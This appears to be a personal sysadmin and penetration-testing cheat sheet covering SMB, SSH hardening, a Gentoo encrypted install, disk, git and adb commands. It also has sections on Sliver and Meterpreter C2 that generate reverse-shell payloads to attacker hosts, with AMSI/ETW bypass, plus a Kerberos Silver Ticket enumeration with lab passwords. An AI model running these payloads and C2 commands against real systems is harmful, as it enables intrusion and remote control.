New-SmbShare -Name 'VMSFiles' -Path 'C:\ClusterStorage\Volume1\VMFiles' -ChangeAccess 'CONTOSO\Finance Users','CONTOSO\HR Users' -FullAccess 'Administrators'

### MOUNT
# mounts smb share
New-SmbMapping -LocalPath 'X:' -RemotePath '\\192.168.1.69\VMFiles'


###########
### CMD ###
###########
# creates an smb share and grants everyone full access
net share Public=C:\ClusterStorage\Volume1\VMFiles /GRANT:Everyone,FULL
# net share create sometimes doesnt work - try without /GRANT !!!
# without GRANT it allows Everyone to READ the share (Everyone is any local or domain user)
# !!!!!!!!!!!!!!!!!!!!!
# DO NOT FORGET TO EDIT THE NTFS SECURITY SETTINGS OF THE SHARED DIRECTORY AS WELL
# GUI (File Manager): $DIR_NAME -> Properties -> Security -> Edit
# !!!!!!!!!!!!!!!!!!!!!
# USER that is accessing the share must be valid either locally to the machine or in the domain
smbclient //192.168.122.13/Public --user victor

### MOUNT smb share to X:
net use X: \\SERVER\Share

### UNMOUNT
net use X: /delete

Remote Management

C2

Sliver

### INITIAL
sliver-server


############################
### IMPLANTS & LISTENERS ###
############################
generate --mtls 192.168.68.1:3898 --format shellcode --save implant_s.shc
mtls --lhost 192.168.68.1 --lport 3898 --persistent


###########################
### COMMAND AND CONTROL ### after a "use $SESSION_UID"
###########################
use $SESSION_ID            # use a sesison (can type a short version)

getprivs                   # return whoami /all
upload $LOCAL_FILE         # upload a local file
download $REMOTE_FILE      # download remote file (use / slashes)

#################
### EXECUTION ###
#################
### {https://sliver.sh/docs?name=Third+Party+Tools}
### execute-assembly (.NET Framework ONLY) (Assembly.Load() powered in-memory execution)
execute-assembly $LOCAL_FILE $ARGS
execute-assembly --in-process --amsi-bypass --etw-bypass $LOCAL_FILE $ARGS

### sideload (convert to shellcode, load and execute a PE (DLL/EXE), ELF (???) or shared library in any process' memory (sliver uses "Donut" for that))

### spawndll

### execute-shellcode (executes given shellcode in sliver's process memory)

### execute (fork&run)
execute $REMOTE_FILE $ARGS # execute remote file


###############
### LISTING ###
###############
jobs                       # list jobs 
operators                  # list remote operators connected to sliver-server
implants                   # list generated implants
sessions                   # list established sessions
hosts                      # list hosts

Meterpreter

###########################
###   USAGE: SESSIONS   ###
###########################
# meterpreter is used through "sessions" command
-l, --list             # list sessions
-i, --interact $ID     # enter interactive mode
-c, --command $CMD     # run command on all sessions (or on specific session if --interact is specified)
-C                     # run meterpreter command (same as above)


##############################
###   USAGE: METERPRETER   ###
##############################
### GENERAL
shell                  # enter a standard shell
bg                     # bg the current session
jobs -l                # list all running jobs

### FS
upload $SRC $DEST      # upload a file (use tab to navigate)


###################
###   REVERSE   ###
###################
### payload/linux/x64/meterpreter/reverse_tcp (staged)
### payload/windows/x64/meterpreter/reverse_tcp (staged)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST='10.10.14.123' LPORT='9596' -f elf | base64 -w 0
# STAGED
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST='10.10.14.123' LPORT='9596' -f raw
# STAGELESS
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST='10.10.14.123' LPORT='9596' -f raw
# STAGELESS SGN
msfvenom -p windows/meterpreter_reverse_tcp EXITFUNC="thread" LHOST='192.168.68.1' LPORT='4444' -f raw --encoder x86/shikata_ga_nai -i 5 > implant.shc

### starting a listener
use multi/handler
# set payload windows/x64/meterpreter/reverse_tcp
set payload $PAYLOAD
setg smth $SMTH
set lhost $LHOST
set lport $LPORT
exploit -j

evil-winrm

# add a realm to krb5.conf (note the capitalization)
cat /etc/krb5.conf | grep -A1 realms
# [realms]
#      CONTOSO.ORG = { kdc = WIN-KML6TP4LOOL.contoso.org }

klist
# Ticket cache: FILE:Administrator@WSMAN_WIN-NUU0DPB1BVC.contoso.org@CONTOSO.ORG.ccache
# Default principal: Administrator@contoso.org

evil-winrm -i WIN-NUU0DPB1BVC.contoso.org -r contoso.org --spn WSMAN

pywinrm

import winrm
session = winrm.Session('192.168.68.72', auth=('administrator','win2016-cli-passwd'), transport='ntlm')
session.run_ps("whoami").std_out

RDP

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
rdesktop $IP:$PORT

sshd

Reasonably secure setup

  1. Change sshd security settings
######## /etc/ssh/sshd_config
### do NOT install sudo

### DISABLE ROOT LOGIN
AllowUsers $USERNAME $USERNAME
PermitRootLogin no

### DISABLE PASSWORD AUTHENTICATION
PasswordAuthentication no
KbdInteractiveAuthentication no
UsePAM no
PubkeyAuthentication yes

### REQUIRE BOTH PASSWORD AND PRIVATE KEY
AuthenticationMethods "publickey,password"
PasswordAuthentication yes

### change default port
Port 5555
  1. Enable FW
ufw enable
  1. Create an unprivileged user
adduser myuser
  1. Setup autoupdate
### DEBIAN
sudo apt update && sudo apt upgrade
sudo apt install unattended-upgrades

# /etc/apt/apt.conf.d/50unattended-upgrades
# ensure the following are present. (they are present by default)
"origin=Debian,codename=${distro_codename},label=Debian";
"origin=Debian,codename=${distro_codename},label=Debian-Security";
"origin=Debian,codename=${distro_codename}-security,label=Debian-Security";

sudo systemctl start unattended-upgrades
sudo systemctl enable unattended-upgrades

# observe
cat /var/log/unattended-upgrades/unattended-upgrades.log

  1. Setup port knocking
# install knockd
apt install knockd

### /etc/knockd.conf
[options]
UseSyslog
Interface = enp3s0

[SSH]
sequence    = 7000,8000,9000
seq_timeout = 5
tcpflags    = syn
start_command = ufw allow from %IP% to any port 5555
stop_command = ufw delete allow from %IP% to any port 5555
cmd_timeout   = 60


### /etc/default/knockd
START_KNOCKD=1
KNOCKD_OPTS="-i enp3s0"

# usage with port knocking
for ports in 7000 8000 9000; do nmap -Pn --max-retries 0 -p $ports 46.1 $MY_SRV; done
ssh -i $SSH_KEY_PATH -p 5555 myuser@$MY_SRV

git server

groupadd git 
# useradd -m -g git -d /var/git -s /usr/bin/git-shell git
useradd -m -g git -d /var/git -s /bin/bash git
sudo mkdir /var/git/.ssh && sudo chmod 700 /var/git/.ssh
sudo touch /var/git/.ssh/authorized_keys && sudo chmod 600 /var/git/.ssh/authorized_keys
# write a public key there

sudo su
cd /var/git
mkdir project.git
cd project.git
git init --bare
sudo chown --recursive git:git /var/git

##############
### OPENRC ###
##############
### /etc/conf.d/git-daemon
GIT_USER="git"
GIT_GROUP="git"
GITDAEMON_OPTS="--syslog --export-all --enable=receive-pack --base-path=/var/git"


sudo mkdir /var/git
sudo chown git:git /var/git
rc-service sshd start
rc-service git-daemon start
###

###############
### SYSTEMD ###
###############
### /etc/systemd/system/git-daemon.service
[Unit]
Description=Git Daemon
After=network.target

[Service]
ExecStart=/usr/libexec/git-core/git-daemon --base-path=/var/git --export-all --enable=receive-pack --syslog --detach
User=git
Group=git
Restart=always

[Install]
WantedBy=multi-user.target


sudo mkdir /var/git
sudo chown git:git /var/git
sudo systemctl start git-daemon sshd
###

### SELinux
sudo semanage fcontext -a -t ssh_home_t "/var/git/\.ssh(/.*)?"
sudo restorecon -FRvv /var/git/.ssh
sudo systemctl restart sshd

# ensure the private key for the host is in ~/.ssh/config
# for any port
git remote add origin ssh://git@host.com/var/git/project.git

gentoo

About

doc: gentoo

  1. Passwords and keys protect keyslots on the LUKS header, which contains the master key that actually encrypts the partition data.
  2. The header file must be kept safe. If the header file is lost, all data on the LUKS partition it secured will be irrecoverable.
  3. For this, use system with the same kernel as target system
  4. This setup will require the usage of initramfs, because there should be a pre-fs to decrypt the primary fs.

Process

### PARTITION AS FOLLOWS (see gentoo doc link)
# sda1 will hold GRUB
# sda2 will hold luks header and initramfs
# if a keyfile will be encrypted ASYMMETRICALLY, yubikey smartcard can be used
/dev/sda
├── /dev/sda1      [EFI]   /efi      1 GB         fat32       Bootloader
└── /dev/sda2      [BOOTX] /boot     1 GB         ext4        Bootloader support files, kernel and initramfs
/dev/nvme0n1
└── /dev/nvme0n1p1 [ROOT]  (root)    ->END        luks        Encrypted root device, mapped to the name 'root'
└──  /dev/mapper/root /         ->END        btrfs       root filesystem
/home     subvolume                Subvolume created for the home directory
/var      subvolume                Subvolume created for the var directory
/etc      subvolume                Subvolume created for the etc directory
  • encrypt the fs
### IF YOU WANT TO USE SMARTCARD / YUBIKEY USE ASYMMETRIC ENCRYPTION INSTEAD
# GPG Symmetrically Encrypted Key File (don't forget to move it to boot drive later):
dd bs=8388608 count=1 if=/dev/urandom | gpg --symmetric --cipher-algo AES256 --output crypt_key.luks.gpg
# Secure the partition using a GPG protected key file:
gpg --decrypt crypt_key.luks.gpg | cryptsetup luksFormat --key-size 512 /dev/nvme0n1p1 -
# backup header file (don't forget to move it to separate drive)
cryptsetup luksHeaderBackup /dev/nvme0n1p1 --header-backup-file crypt_headers.img
# mount the encrypted root:
export GPG_TTY=$(tty)
sudo gpg --decrypt crypt_key.luks.gpg | sudo cryptsetup --key-file - open /dev/nvme0n1p1 root
  • mount root and format drives
### FORMAT AS FOLLOWS:
# boot drive:
mkfs.vfat -F32 /dev/sda1
# make ext4 fs with "boot" label
mkfs.ext4 -L boot /dev/sda2

# root drive (if btrfs) with "rootfs" label
mkfs.btrfs -L rootfs /dev/mapper/root

# format root drive (if btrfs (if not btrfs - create as separate partitions))
mount LABEL=rootfs /mnt/gentoo
btrfs subvolume create /mnt/gentoo/etc
btrfs subvolume create /mnt/gentoo/home
btrfs subvolume create /mnt/gentoo/var
  • obtain stage tarball & unpack
cd /mnt/gentoo
# set time
chronyd -q
# download the H/SELinux stage3 from here (ENSURE HTTPS!!!)
links https://www.gentoo.org/downloads/#amd64-advanced
tar xpvf stage3-*.tar.xz --xattrs-include='*.*' --numeric-owner
  • configure compile options
COMMON_FLAGS="-march=native -O2 -pipe"
FEATURES="${FEATURES} getbinpkg"
FEATURES="${FEATURES} binpkg-request-signature"
CFLAGS="${COMMON_FLAGS}"
CXXFLAGS="${COMMON_FLAGS}"
FCFLAGS="${COMMON_FLAGS}"
FFLAGS="${COMMON_FLAGS}"
MAKEOPTS="-j8"
VIDEO_CARDS="intel nouveau"
ACCEPT_LICENSE="-* @FREE @BINARY-REDISTRIBUTABLE"
POLICY_TYPES="targeted"
# dist-kernel will allow kernel modules to automatically rebuild after kernel upgrade
USE="unicode X unconfined ubac peer_perms elogind pulseaudio alsa grub dist-kernel"
LC_MESSAGES=C.utf8
GRUB_PLATFORMS="efi-64"
EMERGE_DEFAULT_OPTS="--getbinpkg"
  • chroot
cp --dereference /etc/resolv.conf /mnt/gentoo/etc/
arch-chroot /mnt/gentoo
source /etc/profile
export PS1="(chroot) ${PS1}"
  • prepare for bootloader
mkdir /efi
mount /dev/sda1 /efi
  • portage sync
emerge-webrsync
eselect news list
eselect news read
  • choose profile
eselect profile set 43
eselect profile list
# default/linux/amd64/23.0/hardened/selinux (stable) *
  • configure the binhost
### /etc/portage/binrepos.conf/gentoobinhost.conf
[binhost]
priority = 9999
sync-uri = https://distfiles.gentoo.org/releases/<arch>/binpackages/<profile>/x86-64/


### run
getuto
  • configure licensing
echo "sys-kernel/linux-firmware @BINARY-REDISTRIBUTABLE" | tee -a /etc/portage/package.license
echo "sys-firmware/intel-microcode intel-ucode" | tee -a /etc/portage/package.accept_keywords
echo "sys-firmware/intel-microcode ~amd64" | tee -a /etc/portage/package.accept_keywords
  • update @world
emerge --ask --verbose --update --deep --newuse @world
emerge --ask --depclean
  • configure timezones
echo "Europe/Germany" > /etc/timezone
emerge --config sys-libs/timezone-data
  • configure locales
### /etc/locale.gen
en_US ISO-8859-1
en_US.UTF-8 UTF-8

### run the following
locale-gen
eselect locale set 2
# [2]  C.utf8
env-update && source /etc/profile && export PS1="(chroot) ${PS1}"
  • install microcode and firmware
# microcode for AMD is also in this package:
emerge --ask sys-kernel/linux-firmware
emerge --ask sys-firmware/intel-microcode
emerge -av cryptsetup btrfs btrfs-progs
  • configure installkernel with dracut
### /etc/portage/package.use/installkernel
sys-kernel/installkernel dracut grub
  • installer-side configure dracut dracut will be run automatically by emerge gentoo-kernel-bin and generate an initramfs inside /boot
### /etc/dracut.conf
# minimum components to decrypt LUKS volumes using dracut
add_dracutmodules+=" crypt crypt-gpg dm rootfs-block btrfs "
# Embed cmdline parameters for rootfs decryption (obtain uuids with `lsblk -o name,uuid`)
kernel_cmdline+=" loglevel=6 rd.luks.key=/crypt_key.luks.gpg:UUID=0e86bef-30f8-4e3b-ae35-3fa2c6ae705b rootfstype=btrfs rd.luks.uuid=4bb45bd6-9ed9-44b3-b547-b411079f043b root=UUID=cb070f9e-da0e-4bc5-825c-b01bb2707704 "


### /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="loglevel=6"
GRUB_DEVICE=UUID=cb070f9e-da0e-4bc5-825c-b01bb2707704
emerge -av gentoo-sources
emerge -av dracut
emerge -av gentoo-kernel-bin
emerge -av installkernel
emerge --depclean

# The kernel modules in the sys-kernel/gentoo-kernel-bin are already signed
# The kernel image in the sys-kernel/gentoo-kernel-bin is already signed
  • configure fstab
### lsblk -o name,uuid
NAME        UUID
sda
├──sda1     BDF2-0139
└──sda2     0e86bef-30f8-4e3b-ae35-3fa2c6ae705b
nvme0n1
└─nvme0n1p1 4bb45bd6-9ed9-44b3-b547-b411079f043b
  └─root    cb070f9e-da0e-4bc5-825c-b01bb2707704
# <fs>                                          <mountpoint>    <type>          <opts>          <dump/pass>
UUID=BDF2-0139                                  /efi            vfat            noauto,noatime  0 1
LABEL=boot                                      /boot           ext4            noauto,noatime  0 1
LABEL=rootfs                                    /               btrfs           defaults        0 1
  • define hostname
echo tux > /etc/hostname
  • setup dhcpcd
emerge --ask net-misc/dhcpcd
rc-update add dhcpcd default
rc-service dhcpcd start
  • setup hosts
192.168.1.69    dc-1.aisp.example.local
127.0.0.1       localhost
::1             localhost
  • general system setup
passwd
emerge --ask net-misc/chrony
  • defining bootloader
emerge -av sys-boot/grub
grub-install --efi-directory=/efi
grub-mkconfig -o /boot/grub/grub.cfg
  • create swapfile
btrfs subvolume create swap_vol
chattr +C swap_vol
fallocate -l 4G swap_vol/swapfile
chmod 600 swap_vol/swapfile
mkswap swap_vol/swapfile
swapon swap_vol/swapfile

### /etc/fstab
/swap_vol/swapfile none swap sw 0 0
  • SELinux-relabel the fs (opt)
mkdir /mnt/gentoo
mount -o bind / /mnt/gentoo
semodule -B
# initialize security contexts fileds on the fs
setfiles -r /mnt/gentoo /etc/selinux/targeted/contexts/files/file_contexts /mnt/gentoo/{dev,efi,proc,run,sys,tmp,etc,home}
umount /mnt/gentoo
semanage fcontext -a -t swapfile_t "/swap_vol/swapfile"
restorecon /swap_vol/swapfile
# relabel the entire fs
# (rlpkg is a gentoo specific tool that does the same thing as restorecon but for the entire fs)
rlpkg -a -r

### add kernel parameters in /etc/default/grub
GRUB_CMDLINE_LINUX=".....................  lsm=selinux"
grub-mkconfig
  • SELinux user map
# map an existing administrative user to a domain other that unconfined_u
semanage login -a -s staff_u john
semanage login -a -s staff_u root
# -F is a key parameter here!!!
restorecon -RvF /home/john

semanage user -m -R "staff_r sysadm_r system_r" root
semanage user -m -R "staff_r sysadm_r system_r" staff_u
  • /etc/sudoers
%wheel ALL=(ALL) TYPE=sysadm_t ROLE=sysadm_r ALL
  • setup shim (secure boot) (optional) - the Secure Boot signature of vmlinuz is verified by firmware (UEFI), or sometimes by Shim (which overrides the firmware's SB verification). boot loaders usually call out to the firmware (or sometimes deliberately to Shim) to do the check. - the signatures of kernel modules are verified by the kernel itself, as the kernel is what handles its own module loading. there's no signature for the initramfs (if you use one), so there's no component that verifies it either, unless you combine it into vmlinuz in some way or other - kernel modules are signed using the certs/signing_key.pem file in kernel sources, this key is embedded into the kernel image upon build. modules are signed during modules_install phase of a kernel build.
# ensure secureboot USE is enabled globally

# generate keys
mkdir /certs && cd /certs
sudo openssl req -new -x509 -newkey rsa:2048 -subj "/CN=SecureBootSign/" -keyout sbs.key -out sbs.crt -days 3650 -nodes -sha256
# Convert to DER format
sudo openssl x509 -in sbs.crt -out sbs.cer -outform DER

### make.conf
# add the following in order for system to automatically sign all efi binaries with these keys
# this keypair should be in PEM format (BEGIN CERTIFICATE, BEGIN PRIVATE KEY)
USE="... secureboot modules-sign ..."
SECUREBOOT_SIGN_KEY="/certs/sbs.key"
SECUREBOOT_SIGN_CERT="/certs/sbs.crt"
MODULES_SIGN_KEY="/certs/sbs.key"
MODULES_SIGN_CERT="/certs/sbs.crt"


### !!! SHIM only checks signatures of the boot loader and kernel, but not the GRUB config file or initramfs
emerge sys-boot/shim sys-boot/mokutil
echo "sys-boot/grub **" | sudo tee -a /etc/portage/package.accept_keywords/main
emerge -avuU sys-boot/grub
### ALERT!!!! if you will do `cp /usr/lib/grub/grub-x86_64.efi.signed /efi/EFI/Gentoo/grubx64.efi` add grub config to EFI
### because this prebuild signed grub reads config from there instead of default /boot/grub/grub.cfg
# grub-mkconfig reads info from /etc/default/grub
echo "GRUB_CFG=/efi/EFI/Gentoo/grub.cfg" >> /etc/env.d/99grub


# add EFI entry for system to boot shim instead of GRUB
cp /usr/share/shim/BOOTX64.EFI /efi/EFI/Gentoo/shimx64.efi
cp /usr/share/shim/mmx64.efi /efi/EFI/Gentoo/mmx64.efi
cp /usr/lib/grub/grub-x86_64.efi.signed /efi/EFI/Gentoo/grubx64.efi
# grub-x86_64.efi.signed is automatically signed with SECUREBOOT_SIGN_CERT
sbverify --list /efi/EFI/gentoo/grubx64.efi

# add an EFI entry to point to shimx64.efi binary instead of grub
efibootmgr --disk /dev/sda --part 1 --create -L "GRUB via Shim" -l '\EFI\Gentoo\shimx64.efi'

# before running ensure /boot is mounted and kernels are there
grub-mkconfig -o /efi/EFI/gentoo/grub.cfg
# check that the config contains a menu entry for gentoo
grep "^menuentry" /efi/EFI/gentoo/grub.cfg

### NOT REQUIRED IF YOU USE gentoo-kernel-bin
# if you use gentoo-kernel-bin - it and it's modules automatically signed if USE="secureboot modules-sign" are enabled
# IF NOT - sign kernel and/or modules
sbsign --key ${SECUREBOOT_SIGN_KEY} --cert ${SECUREBOOT_SIGN_CERT} --output /boot/EFI/Gentoo/kernel-x.y.z-gentoo.efi /boot/EFI/Gentoo/kernel-x.y.z-gentoo.efi

### OPTIONAL: set EFI shell

# verify that the modules are signed by running hexdump against a random module
hexdump -C /usr/lib/modules/6.6.47-gentoo-dist/kernel/arch/x86/crypto/camellia-aesni-avx-x86_64.ko
# it should display "Module signature appended" at the end of a hexdump

### Add to MOK
# convert keys to DER for MOK
openssl x509 -inform pem -in ${SECUREBOOT_SIGN_CERT} -outform der -out /boot/sbcert.der
# import key into MOK (the password does NOT matter, it's a one time and required only during the first reboot)
sudo su -
mokutil --import /boot/sbcert.der
mokutil --ignore-keyring --import /usr/src/linux-6.6.47-gentoo-dist/certs/signing_key.x509
# qwerty123
reboot
# OPEN MOKManager => Enroll new key

# on next reboot you should enable validation
mokutil --sb-state # validate the secure boot and shim validation state, if not enabled:
mokutil --enable-validation
reboot
# OPEN UEFI => Security => Enable secure boot => SAVE and EXIT
# the MOKMANAGER should open
# OPEN MOKManager => change secure boot state => enter password you set earlier => Yes
  • Make sure to lock UEFI with a strong passphrase and enable DMA protection!

FS

cryptsetup

#############
### SETUP ###
#############
# first partition the drive

# encrypt the partition scheme (uses aes-xts-plain64 by default)
cryptsetup luksFormat /dev/sdc1

# decrypt
cryptsetup open /dev/sdc1 my_device

# create a filesystem
mkfs.btrfs /dev/mapper/my_device


#############
### USAGE ###
#############
### MOUNT
# decrypt
cryptsetup open /dev/sdc1 my_device
# mount
mount /dev/mapper/my_device /mnt/sdc1

# ! cp & pt
sudo cryptsetup open /dev/sda1 my_device && sudo mount /dev/mapper/my_device /mnt/sda1

### UNMOUNT
# unmount
umount /mnt/sdc1
# reencrypt
cryptsetup close my_device

# ! cp & pt
sudo umount /mnt/sda1 && sudo cryptsetup close my_device

disk clone (nasty)

### it's better to replicate the GPT using fdisk and then use dd partition-by-partition

dd if=/dev/sda of=/dev/sdb bs=32M status=progress
# fix problems (e.g. if target drive was smaller -> create the destroyed last-sector (backup) GPT)
gdisk /dev/sdb
v # verify disk
x # enter expert's menu
e # realocate backup data structures at the end of the disk
m # return to main mode
d # delete last partition as it doesn't fit
3
w # write changes

secure HDD wipe

shred --verbose --random-source /dev/urandom --iterations 1 /dev/sda

useful

overwrite drive with zero bites

dd if=/dev/zero of=/dev/sdX bs=1M

determine what process is making a target busy during umount (preventing the umount)

fuser -mv $MOUNT_POINT          # fuser -mv /mnt/sda1

mount

mount --rbind [ORIG_PARTITION] [TARGET_PARTITION] # Remount existing partition into different place

mount --bind $ORIG_MOUNT_POINT $COPY_MOUNT_POINT  # bind a copy of one partition to a different place

# remount fs read-write:
mount -o remount,rw /mount/point                  # e.g. mount -o remount,rw /dev/sda1

burden the iso

sudo su
cat $PATH_TO_ISO > $DRIVE_PATH              # By-id! /dev/disk/by-id/usb-General_UDisk-0\:0

fdisk

sudo fdisk /dev/sda

m      # to display help
g      # new GPT label
n      # create new partition
w      # write and exit

ntfs

# install ntfs-3g
emerge --ask sys-fs/ntfs3g

# format
mkfs.ntfs -Q /dev/sdyX

# mount 
mount -t ntfs-3g /dev/device /path/to/mountpoint

btrfs

# create snapshot
btrfs subvolume snapshot $SVOL $SNAPSHOT

# restore snapshot
sudo btrfs subv delete $SVOL
btrfs subv snapshot $SNAPSHOT $SVOL

# scrub subvolume
btrfs scrub start $SVOL

# balance subvolume
btrfs balance start -musage=50 -dusage=50 $SVOL

Access Control

namespaces

# list all namespaces
lsns

# execute command inside a namespace for a process
nsenter --target $PID --mount "$CMD"

# start a new PID namespace and enter shell in it's context
unshare --fork --pid --mount-proc /bin/bash

capabilities

# remove binary capabilities
setcap -r $PATH

# drop process capabilities
capsh --drop=cap_net_raw --print -- -c "tcpdump"

# set capabilities
setcap [CAPABILITY][+/-][CAP_TYPE] [PATH_TO_BIN] # setcap cap_net_raw,cap_net_admin=eip /sbin/ping

Assign to service:

### /lib/systemd/system/*.service
[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Assign to user:

### /etc/security/capability.conf
cap_net_admin,cap_net_raw    jrnetadmin

misc

sudo

### sudoers explicit command definition example
git ALL=(ALL) NOPASSWD: \
    /usr/bin/git fetch origin, \
    /usr/bin/git reset --hard origin/master, \
    /usr/bin/docker stop *, \
    /usr/bin/docker ps *, \
    /usr/bin/docker system prune -f --volumes, \
    /usr/bin/docker compose up

reset passwd counter

faillock --user $USER --reset

su unattended

# non-interactive 1
echo <otherpwd> | su - otheruser -c "my command line"

# non-interactive 2
expect -c 'spawn su - otheruser -c "my command line"; expect "Password :"; send "<otherpwd>\n"; interact'

acls

# get files with specific acls
getfacl -tsRp /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

### give user rw permissions on a file (fs should be mounted with acl option (default))
mount -o acl /dev/sda1 /mount              

# basic setfacl on file
setfacl --modify u:$USER:rw $FILE
getfacl $FILE

# basic setfacl on directory
setfacl --recursive --modify u:$USER:rwX $DIRECTORY

#Remove the ACL of the file
setfacl -b file.txt 

git

Example usage

let's say 2 machines (RW-1 and RW-2) want to fully sync master

### RW-1 commit changes to git origin
git checkout -b SOME-BRANCH-1       # create some-branch and switch, make some changes
# then at home:
git add --all
git commit -m "mod"
git push origin SOME-BRANCH-1


### REPEAT THE SAME ON RW-2 (i.e. commit changes), then:
git checkout -b SOME-BRANCH-2       # create some-branch and switch, make some changes
# then at home:
git add --all
git commit -m "mod"
git push origin SOME-BRANCH-2


### MERGE and SYNC (valid for both machines)
# let's say we're on RW-2 and we want to merge all branches into origin/master
git fetch --all -Pp                 # fetch current state
git checkout master                 # switch to master for merging
git merge SOME-BRANCH-2             # merge 1st
git merge origin/SOME-BRANCH-1      # merge 2nd
# if conflicts arise (if you modified the same line) - delete all git-added lines and leave 
# only things that're needed. 
# e.g. remove all <<<<<<,  ======, >>>>>> lines edit the file to the state you wish to commit
# Then run:
# git add .
# git commit -m "mod"
git push origin master              # push changes to repo
git checkout SOME-BRANCH-2          # don't forget to switch to machine's repo for future work


### SYNC the working branch (DO THAT ONLY AFTER YOU COMMIT CHANGES)
# let's assume that the worse_branch is SOME-BRANCH-1 and the better_branch master
git fetch --all -Pp

git checkout master           # switch to master
git pull                      # sync changes in local master with fetched master

git branch -d SOME-BRANCH-1   # delete SOME-BRANCH-1
git checkout -b SOME-BRANCH-1 master # create new SOME-BRANCH-1 from synced master

.gitignore

# ignore a file
DEV_README.md
# ignore all files inside the directory
ImpTgsReq/obj/*

# after adding .gitignore you can do the following to get rid of unneded tracked files
git rm -r --cached .
git add .
git commit -m "fixed untracked files"

symlink to a directory is to be handled as a file in .gitignore for correct interpretation

find lost commit

# find lost commit in reflog tree
git reflog
git reset --hard e870e41

create orphan branch (no commit history)

git checkout --orphan main
git add . && git commit -m 'initial'
git push origin main

merge without merge commit

# create feature branch
git checkout -b feature/foo master

# make some commits

# rebase current feature branch to match master's commit history
git rebase master

# switch to master
git checkout master

# merge only fast-forward commits
git merge --ff-only feature/foo
### in order to merge without commit history at all use --squash
git merge --squash feature/foo

# -d (safe delete) ensure only fully merged branches are deleted
git branch -d feature/foo

useful commands

# if you don't like the commit, reset to the previous 
# one and keep the changes to files, but unstage them
git reset
# if you wanna keep the changes staged
git reset --soft HEAD~1

# unstage the file/dir
git restore --staged dev.txt

# commit all, even unstaged
git commit --all -m "$COMMIT_MESSAGE"

clangd

mingw

While setting up C crossdev environment on GNU/Linux for Microsoft Windows you may face an issue with clangd stating "Only Win32 target is supported!". Even after you include the correct-architecture directory in CompileFlags for header search with -I compiler flag, do not forget to change the compiler itself by specifying the "Compiler" key in project's .clangd configuration file.

CompileFlags:
    Add: [-I/usr/lib/mingw64-toolchain/x86_64-w64-mingw32/include]
    Compiler: /usr/lib/mingw64-toolchain/bin/x86_64-w64-mingw32-c++

The error appears because of the #if directive statement checking

clangd --check=./main.cpp 2>&1 | grep 'E\['

android

adb

connect

### GENERAL
adb start-server                      # start the daemon
# then on the phone accept the debugging from 
# a specific server (on a device with dev mode and usb debugging enabled)
adb shell                             # enter shell with the connected device
adb devices                           # list connected devices

basic usage

### FILE TRANSFER
adb push $LOCAL_PATH $REMOTE_PATH     # push files/directories to android device (add trailing slash to push contents of dir)
adb pull $REMOTE_PATH                 # pull files/directories from android device

### backup
adb backup -apk -noshared -all -f backup-full.adb
adb restore backup-full.adb

# list services
service list

# elevate to root (accept the prompt)
adb root

packages

# list
cmd package list packages
### (UN)INSTALL
adb install com.android.custom.apk    # install custom APK
pm uninstall $PACKAGE                 # uninstall package (use -k to keep app files and cache)
# OR IF THE ABOVE ERRORS OUT
adb uninstall --user 0 $PACKAGE

# reinstal system package
cmd package install-existing $PACKAGE

# query all permissions for a package
appops get me.zhanghai.android.files

adbsync

adbsync push /home/fuser/docs/ /storage/emulated/0/Documents/docs/

termux

# enable storage access
termux-setup-storage    # this will create a symlink set to /storage/emulated/** in termux home dir
ls ~/storage/shared

### white cursor
# Android => Settings => Dark Mode settings => disable dark mode for Termux
echo "cursor= #FFFFFF" > ~/.termux/colors.properties
termux-reload-settings

### git
# write ~ path in .ssh/config
# ensure .ssh/config is 600
echo '192.168.1.69 dc-1.aisp.aperture.local' >> ~/.hosts
echo "HOSTALIASES=~/.hosts" > ~/.bashrc
wget g -O /dev/null

KRB5

Silver Ticket

# get domain SID
impacket-lookupsid contoso.org/Administrator@192.168.68.179
# Impacket v0.12.0.dev1 - Copyright 2023 Fortra
#
# Password:
# [*] Brute forcing SIDs at 192.168.68.179
# [*] StringBinding ncacn_np:192.168.68.179[\pipe\lsarpc]
# [*] Domain SID is: S-1-5-21-245103785-2483314120-3684157271
# ...




ldapsearch -LLL -x -H ldap://192.168.68.179 -D 'Administrator@contoso.org' -w 'win2016-cli-P@$swd1!' -b 'dc=contoso,dc=org'
# dn: CN=WIN-NUU0DPB1BVC,OU=Domain Controllers,DC=contoso,DC=org
# objectClass: top
# objectClass: person
# objectClass: organizationalPerson
# objectClass: user
# objectClass: computer
# cn: WIN-NUU0DPB1BVC
# distinguishedName: CN=WIN-NUU0DPB1BVC,OU=Domain Controllers,DC=contoso,DC=org
# ...
# serverReferenceBL: CN=WIN-NUU0DPB1BVC,CN=Servers,CN=Default-First-Site-Name,CN
#  =Sites,CN=Configuration,DC=contoso,DC=org
# dNSHostName: WIN-NUU0DPB1BVC.contoso.org
# rIDSetReferences: CN=RID Set,CN=WIN-NUU0DPB1BVC,OU=Domain Controllers,DC=conto
#  so,DC=org
# servicePrincipalName: RPC/bd05490f-2c96-4f89-9201-c530cfa7eda4._msdcs.contoso.
#  org
# servicePrincipalName: GC/WIN-NUU0DPB1BVC.contoso.org/contoso.org
# servicePrincipalName: ldap/WIN-NUU0DPB1BVC/CONTOSO
# servicePrincipalName: ldap/bd05490f-2c96-4f89-9201-c530cfa7eda4._msdcs.contoso
#  .org
# servicePrincipalName: ldap/WIN-NUU0DPB1BVC.contoso.org/CONTOSO
# servicePrincipalName: ldap/WIN-NUU0DPB1BVC
# servicePrincipalName: ldap/WIN-NUU0DPB1BVC.contoso.org
# servicePrincipalName: ldap/WIN-NUU0DPB1BVC.contoso.org/ForestDnsZones.contoso.
#  org
# servicePrincipalName: ldap/WIN-NUU0DPB1BVC.contoso.org/DomainDnsZones.contoso.
#  org
# servicePrincipalName: ldap/WIN-NUU0DPB1BVC.contoso.org/contoso.org
# servicePrincipalName: E3514235-4B06-11D1-AB04-00C04FC2DCD2/bd05490f-2c96-4f89-
#  9201-c530cfa7eda4/contoso.org
# servicePrincipalName: DNS/WIN-NUU0DPB1BVC.contoso.org
# servicePrincipalName: HOST/WIN-NUU0DPB1BVC.contoso.org/CONTOSO
